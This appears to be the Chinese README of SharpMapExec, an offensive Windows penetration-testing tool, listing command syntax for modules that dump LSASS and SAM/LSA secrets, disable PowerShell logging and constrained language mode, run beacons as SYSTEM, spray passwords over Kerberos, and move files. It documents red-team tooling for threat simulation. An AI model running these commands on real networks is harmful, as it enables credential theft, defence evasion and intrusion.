SharpMapExec

CrackMapExec 的锐化版本。此工具旨在简化网络渗透测试，并打造一把适用于 Windows 的瑞士军刀，这在内部威胁模拟演练中通常是必备要求。

除了扫描访问权限外，它还可用于识别易受攻击的配置和窃取数据。数据窃取模块的设计理念是在远程计算机上执行尽可能少的必要代码。为此，该工具会将所有秘密下载到 loot 目录并在本地解析。

您可以选择使用 Kerberos 还是 NTLM 身份验证。如果选择 Kerberos，该工具将创建一个牺牲令牌并使用 Rubeus 导入/请求票据。如果选择 NTLM，该工具将使用 SharpKatz 的 SetThreadToken 或 LogonUser 模拟。

SharpMapExec.exe
  usage:

    --- Cim ---
        Need plaintext password or the /impersonate flag
        SharpMapExec.exe ntlm cim /user:USER /password:PASSWORD /computername:TARGET

       Available Cim modules
          /m:enable_winrm                             (Runs Enable-PSRemoting -Force)
          /m:disable_winrm                            (Runs Disable-PSRemoting -Force)
          /m:disable_pslockdown                       (Modify __PSLockdownPolicy registry to disable CLM)
          /m:disable_pslogging                        (Modify registry to disable PowerShell Logging)
          /m:check_pslockdown                         (Check __PSLockdownPolicy registry)
          /m:check_pslogging                          (Check PowerShell Logging registry)

    --- Reg32 ---
        SharpMapExec.exe ntlm reg32 /user:USER /ntlm:HASH /computername:TARGET
        SharpMapExec.exe kerberos reg32 </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi>  /computername:TARGET

       Reg32 modules
          /m:disable_pslockdown                       (Modify __PSLockdownPolicy registry to disable CLM)
          /m:check_pslockdown                         (Check __PSLockdownPolicy registry)
          /m:check_pslogging                          (Check PowerShell Logging registry)

    --- Smb ---
        SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET
        SharpMapExec.exe kerberos smb </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi>  /computername:TARGET

       Smb modules
          /m:shares                                   (Scan for accessible Smb shares)

    --- WinRm ---
        SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET
        SharpMapExec.exe kerberos winrm </user:USER /rc4:HASH  /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi>  /computername:TARGET

       WinRm modules
          /m:exec /a:whoami                           (Invoke-Command)
          /m:exec /a:C:\beacon.exe /system            (Invoke-Command as System)
          /m:comsvcs                                  (Dump & parse lsass)
          /m:secrets                                  (Dump and Parse Sam, Lsa, and System Dpapi blobs)
          /m:assembly /p:Rubeus.exe /a:dump           (Execute local C# assembly in memory)
          /m:assembly /p:beacon.exe /system           (Execute local C# assembly as System in memory)
          /m:assembly /p:getMailBox.exe /delegwalk    (Execute local C# assembly in all unique delegation processes in memory)
          /m:download /path:C:\file /destination:file (Download file from host)
          /m:upload   /path:C:\file /destination:file (Upload file to host)

    --- Domain ---
        SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC
        SharpMapExec.exe tgtdeleg

    --- Ldap ---
        SharpMapExec.exe ntlm domain /user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE
        SharpMapExec.exe kerberos ldap </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE | /ticket:TICKET.Kirbi>

       Ldap modules
          /m:spraydata                                (Download user and password policy)

SharpMapExec

最受欢迎

Smb

WinRm

Domain

Ldap

使用示例

鸣谢